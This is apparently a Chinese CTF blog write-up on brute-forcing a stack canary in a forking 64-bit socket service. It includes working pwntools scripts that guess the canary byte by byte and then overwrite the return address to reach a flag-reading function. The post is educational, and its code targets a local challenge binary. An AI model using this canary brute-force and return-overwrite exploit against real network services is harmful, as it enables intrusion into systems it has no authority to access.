CANARY爆破

小白一枚最近开始上手搞pwn,不断认识到一些新的知识,感觉这个CANARY爆破挺有意思,估计以后也会常用,写一篇博客记录一下。

主要是向大佬学习,然后看了他们的博客,自己在一点点分析出来,可能比较啰嗦,但尽力讲的细致一点,也方便之后的小白理解。

本文是向这位大佬学习:

http://0x48.pw/2017/03/14/0x2d/

CANARY爆破

题目文件在那位大佬的博客里有链接,是这个:

0x0001

拿到这个题之后首先看出是一个 elf 文件,拖到我的kali里面,用 binwalk 查看一下:




一个64位的文件,静态反汇编IDA

0x0002

搜索字符串之后锁定在了main函数





看完main函数之后,大致有了认识,这个程序创建了socket连接,并且监听5555端口的信息。含有最初的对v7赋值以及最后一步的检测。因为有了fork()函数,

里面含涉及到几个比较重要的函数:

第十行的sub_400B76():



这个函数可以告诉我们,正常情况下在题目文件当前目录下有一个文件名为  “flag”  的文件,推测我们最重要获得的flag就在里面,引文这是在自己的电脑上做这个题,所以自己赶紧在题目文件旁边新建一个flag文件(没有这个文件题目无法运行)。

还有最后返回的是fd这个文件指针,指向的是unk_602160这个空间,点进去看一看是一个103个字节的空间,但是他每次读取的时候,只读出0x64个字节的数据。


第五十四行的sub_400BE9():



这个函数实在 if 的判断条件里面,跟据main函数判断,我们想让程序正常从端口上接受到数据,那么他的返回值应该为  0  。

那么就需要在sub_400BE9()这个函数内if条件不成立,即从fd所指向的地方读取数据到一个s指向的大小为0x400字节的缓冲区中,返回值为收到数据的字节数,正常情况下这里返回的数据是不等于 -1 的,所以,这里负责将受到的数据从 fd 套接字中转存至缓冲区 s 并且打印出来。


0x0003

整理一下思路,这个程序干了什么:
首先创建socket的连接,然后fork()出一个子进程,保持对本机的5555端口进行监听(当然这里排除了可能发生错误的情况),并且只有一种条件下可以正常输出收到的数据,并且将数据打印出来。因为有一个恒成立的while(1)循环,所以每次收到数据之后,不管结果如何都会继续fork(),因此这个程序具有连续多次处理受到的数据的功能,所以只要跑起来,就可以一直给他发数据,并且保证每次的处理。

问题来了,如何获取flag,他只是将flag文件读出来,放在了内存里并不会给你显示,所以我们需要向他发送合适的数据,修改返回地址并打印出我们相要的数据。

0x0004

栈结构分析:



0x0005

首先突破栈的CANARY的保护,我们要想办法获取CANARY的值,这里使用爆破的方法,因为每次都是fork出的子程序,所以每次的内存状况完全一样,CANARY的值不变。
直接上脚本:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
# blasting canary
canary = "\x00"
padding = "a"*104
for x in xrange(7):
	for y in xrange(256):
		p = remote("127.0.0.1", 5555)
		print p.recv()
		p.send(padding+canary+chr(y))
		try:
			info = p.recv()
			print info
		except:
			p.close()
			continue
		p.close()
		break
	canary += chr(y)
print "success get blasting!"
print canary.encode('hex')

这里通过循环实现对剩余七个字节的爆破,(CANARY的最低字节为00)

实战结果:


最下面的这个数据就是八个字节的CANARY的值

漏洞利用脚本:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
padding = "a"*104
canary = "\x00\xf4\x80\x46\x1a\xa5\x09\xfa"
p = remote("127.0.0.1", 5555)
p.recv()
ret = 0x400b76
ret2 = 0x400bc6
p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))
print p.recv()

当然这里的canary的值要与上一步的结果一样,因为在此运行的时候这个值会变。所以每让这个程序运行一次都要修改。

这里解释一下这一句:
p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))

因为我们已经知道了canary的值,那么就可以使程序不因canary被修改而错误,之后的8个‘a’是覆盖rbp的值正如第四步图片中看到的那样。
再往后是读取flag文件的函数sub_400B76(),执行完这个函数之后就开始执行 0x400BC6地址的代码,因为sub_400B76()这个函数是没有参数的,所以可以直接将ret2的值直接跟在后面。sub_400B76()这个函数执行过程中只是影响栈中上面的值,函数最终执行结束栈恢复,并且默认在sub_400B76()下面的那个数据为返回地址(下一条指令的地址),这样就可以输出flag了。

实战结果:




可以看到这里就可以把flag输出出来了(这个flag是我自己写的,就是最初写的那个文件里面的内容),实际上是调用了源代码中的这一段代码:




自我感觉这部分代码好像是出题人为了能让做题的人收到flag的内容专门写的一部分,他单独的一点代码段,不属于其他函数,单独的存在,如果不是控制返回地址跳到这里,应该是不会执行这段代码的。








  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值